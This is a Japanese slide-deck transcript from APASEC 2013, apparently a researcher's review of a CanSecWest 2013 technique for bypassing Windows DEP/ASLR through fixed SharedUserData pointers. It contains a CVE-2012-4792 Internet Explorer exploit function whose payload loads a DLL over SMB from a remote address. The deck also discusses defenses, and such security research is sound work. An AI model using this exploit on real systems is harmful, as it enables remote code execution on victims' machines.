Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
Search
Satoshi MIMURA
March 29, 2013
Research
0
12
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
CanSecWest 2013 で公開された資料を詳しく見てみた。
Satoshi MIMURA
March 29, 2013
Tweet
Share
More Decks by Satoshi MIMURA
See All by Satoshi MIMURA
Inside wsl
mimura1133
0
18
Edomae 2015 - マルウェアを解析してみよう
mimura1133
0
46
Windows でも TeX 編集がしたい!
mimura1133
0
13
3本指ジェスチャの仮想デスクトップ機能を Windows に実装した話
mimura1133
0
18
Windows のカーネルモードドライバで填まった話
mimura1133
0
21
マシン語によるコード実行
mimura1133
0
9
Iron python と c sharp
mimura1133
0
12
Unix と windows 世界の融合
mimura1133
0
13
Windows Phone 7 と XNA の世界
mimura1133
0
12
Other Decks in Research
See All in Research
最近のVisual Odometryと Depth Estimation
sgk
1
310
精度を無視しない推薦多様化の評価指標
kuri8ive
1
290
TransformerによるBEV Perception
hf149
1
590
ニューラルネットワークの損失地形
joisino
PRO
36
18k
Geospecific View Generation - Geometry-Context Aware High-resolution Ground View Inference from Satellite Views
satai
2
130
渋谷Well-beingアンケート調査結果
shibuyasmartcityassociation
0
310
20240918 交通くまもとーく 未来の鉄道網編(太田恒平)
trafficbrain
0
360
機械学習による言語パフォーマンスの評価
langstat
6
810
リモートワークにおけるパッシブ疲労
matsumoto_r
PRO
5
3.7k
Poster: Feasibility of Runtime-Neutral Wasm Instrumentation for Edge-Cloud Workload Handover
chikuwait
0
200
データサイエンティストをめぐる環境の違い 2024年版〈一般ビジネスパーソン調査の国際比較〉
datascientistsociety
PRO
0
800
文書画像のデータ化における VLM活用 / Use of VLM in document image data conversion
sansan_randd
2
320
Featured
See All Featured
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
26
1.5k
Principles of Awesome APIs and How to Build Them.
keavy
126
17k
The Psychology of Web Performance [Beyond Tellerrand 2023]
tammyeverts
45
2.2k
We Have a Design System, Now What?
morganepeng
51
7.3k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
28
9.1k
The Language of Interfaces
destraynor
154
24k
How GitHub (no longer) Works
holman
311
140k
What's in a price? How to price your products and services
michaelherold
243
12k
Done Done
chrislema
182
16k
Measuring & Analyzing Core Web Vitals
bluesmoon
4
170
Chrome DevTools: State of the Union 2024 - Debugging React & Beyond
addyosmani
3
170
Transcript
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 1
お品書き 自己紹介 どんな資料なの 回避する対象の DEP / ASLR って、なんなの 今回の提案手法の概要とサンプルコード 実際に試してみた。
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 2
自己紹介 三村 聡志 (@mimura1133) / APASEC 初参加 http://mimumimu.net/ セキュリティ&プログラミングキャンプ
2011 参加。 セキュリティ・キャンプ 2012 チュータ参加。 ROP/JIT を使わずに DEP/ASLR を回避する。 3
どういう資料なのか。 冗談はこの辺で。 ROP/JIT を使わずに DEP/ASLR を回避する。 4
資料概要 CanSecWest Vancouver 2013 で発表された資料。 NSFOCUS Security Labs の Yang
Yu さんが発表。 ROP や JIT を使わずに、 DEP や ASLR を回避して、 任意のコードを実行しよう、 という内容。 ROP/JIT を使わずに DEP/ASLR を回避する。 5
じゃ、回避したい それってなに? ROP/JIT を使わずに DEP/ASLR を回避する。 6
DEP (データ実行防止) メモリ上のデータに「実行不可能」という 印をつけて、動作を制限する。 攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。 下手なシェルコードを送り込むと、これで弾かれる。
カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 詳しく書くと : x86_64 版 Windows + x86_64 環境用の実行ファイル 全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。 スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。 x86 版 Windows or x86 環境用の実行ファイル 重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut) なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。 スレッドスタック (User), ページ領域 (User) ROP/JIT を使わずに DEP/ASLR を回避する。 7
ASLR (アドレス空間配置のランダム化) 下記データのメモリアドレスを不定にする。 イメージ(実行データ) スタック領域 ヒープ領域
攻撃者が内部のコードを使って攻撃することがあるが、 アドレスを不定にしてそれをしにくくする。 分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠して置くと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。 詳しく書くと: TSC (CPU のタイムスタンプ値) を元に8ビットの値を生成して、 254 で割り、1を足したものに 64KB を掛ける。 DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。 イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲が原則。 ROP/JIT を使わずに DEP/ASLR を回避する。 8
ROP (Return-Oriented-Programming) イメージとしては、 新聞で脅迫文(失礼) を作るような感じ。 仕掛けとしては、 “ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、 プログラム内でつかえそうな部分のアドレスに書き換える。
あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。 実行不可能な場所を使っているのでは無く、 実行可能なコードを組み合わせて使う。 先述の DEP に対してはこれで何とかなる。 ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 ROP/JIT を使わずに DEP/ASLR を回避する。 9
JIT (Just-In-Time) [Compiler] 身近な例では Microsoft .NET, Mono, Java, JavaScript
(実装による) 実行中に「実行可能コード」を ”生成” する。 実行中に悪用可能なコードを実行可能コードとして配置できる。 過去にあった例:PDF (BlackHat DC 2010) ROP/JIT を使わずに DEP/ASLR を回避する。 10
でも動かすのめんどい。 問題のある JIT コンパイラを搭載している環境があるかどうか。 ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。 => ではこれ以外の環境ではどうするの?
今回の発表. ROP/JIT を使わずに DEP/ASLR を回避する。 11
概要とサンプルコード ROP/JIT を使わずに DEP/ASLR を回避する。 12
概要 Windows NT4 以降の Windows では、 0x7ffe0000 に SharedUserData 構造体のデータが
アドレス固定で置かれている。 x86 環境では: 0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。 ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる! x86_64 環境 (for x86 アプリケーション) では: 0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されてる。 その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。 このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! ROP/JIT を使わずに DEP/ASLR を回避する。 13
SystemCall を使った手法 (for x86) MS08-078 (ポインタ参照の メモリ破壊の脆弱性) を応用したサンプル。 eax の先を
“7c02fe7f” (0x7ffe027c + 0x84 = KiFastSystemCall) になるようにメモリを埋めておく。 このコードが成功すると、 0x11db のシステムコールが実行される。 ROP/JIT を使わずに DEP/ASLR を回避する。 14
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) ROP/JIT を使わずに DEP/ASLR を回避する。
15 function CVE-2012-4792_EXP() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" + "¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + "¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" + "¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + "¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c"; } struct HotPatchBuffer { ULONG NotSoSure01; // => EAX へ ULONG NotSoSure02; USHORT PatcherNameOffset; USHORT PatcherNameLen; USHORT PatcheeNameOffset; USHORT PatcheeNameLen; USHORT UnknownNameOffset; USHORT UnknownNameLen char[] PatcherName; char[] PatcheeName; }; PatcherName : ¥¥192.168.59.128¥x¥x.dll PatcheeName : ntdll.dll
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) MS13-008 を応用したサンプル。 先ほどのコードが実行されると、 LdrHotPatchRoutine
が実行さ れる。 また、事前に “push edi” とし ている点から、 関数に必要なパラメータはここか ら持ってこれる。 ROP/JIT を使わずに DEP/ASLR を回避する。 16
実際に試してみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 17
テスト環境 Windows 7 Service Pack 1 (x86, x86_64) + Internet
Explorer 8 Windows 8 (x86, x86_64) + Internet Explorer 10 留意点: MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 ROP/JIT を使わずに DEP/ASLR を回避する。 18
挿入するDLL : BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason)
{ case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE; } ROP/JIT を使わずに DEP/ASLR を回避する。 19
実行させてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 20 なお、実行後は IE が応答無しになる。 また、x86
版 Windows だとすさまじい数のアラートが出る。
もっと動かしてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 21
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 22
この攻撃を防ぐには? LdrHotpatchRoutine のパラメータを見る。 外向けファイアウォールで、 SMB 通信を切る。 ROP/JIT を使わずに DEP/ASLR を回避する。
23 struct HOTPATCH{ DWORD Flags; DWORD Size; union { struct CodeInfo { } struct KernelInfo { } struct UserModeInfo { } struct InjectionInfo { } struct RenameInfo {} struct AtomicSwap { } } } Flag は正しい? size は正しい? リモートのファイル を見に行ってない? そもそも、 呼び出し元は? http://www.openrce.org/articles/full_view/22 ここに LdrHotPatchRoutine に対しての 詳しい資料がある。 APA akasaka -180 APA
SystemCall を指し示したポインタがない。 でも、KiFastSystemCall 自体は存在する。 Windows 8 では? ROP/JIT を使わずに DEP/ASLR
を回避する。 24 Windows 8 Windows XP Windows 8
Windows 8 では? Wow64SharedInformation がない。 ただし、メソッド自体は 残っている。 ROP/JIT を使わずに DEP/ASLR
を回避する。 25 Windows 8 Windows 7
x86 のサンプルについて 0x11db って NtGdiEngCheckAbort だとおもう。 NtUserLockWorkStation なら、 0x12db だとおもう・・w
ref : http://j00ru.vexillium.org/win32k_x64/ ROP/JIT を使わずに DEP/ASLR を回避する。 26
まとめ ROP/JIT を使わずに DEP/ASLR を回避する。 27
まとめ。 0x7ffe0000 にSharedUserData 構造体のデータが アドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCall x86_64
では LdrHotPatchRoutine を呼び出すことが出来る。 特に後者ではスプレー不要のため、より簡単に呼び出せて危険。 Windows 8 では今回の問題に関する情報は削除されていた。 ROP/JIT を使わずに DEP/ASLR を回避する。 28
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 29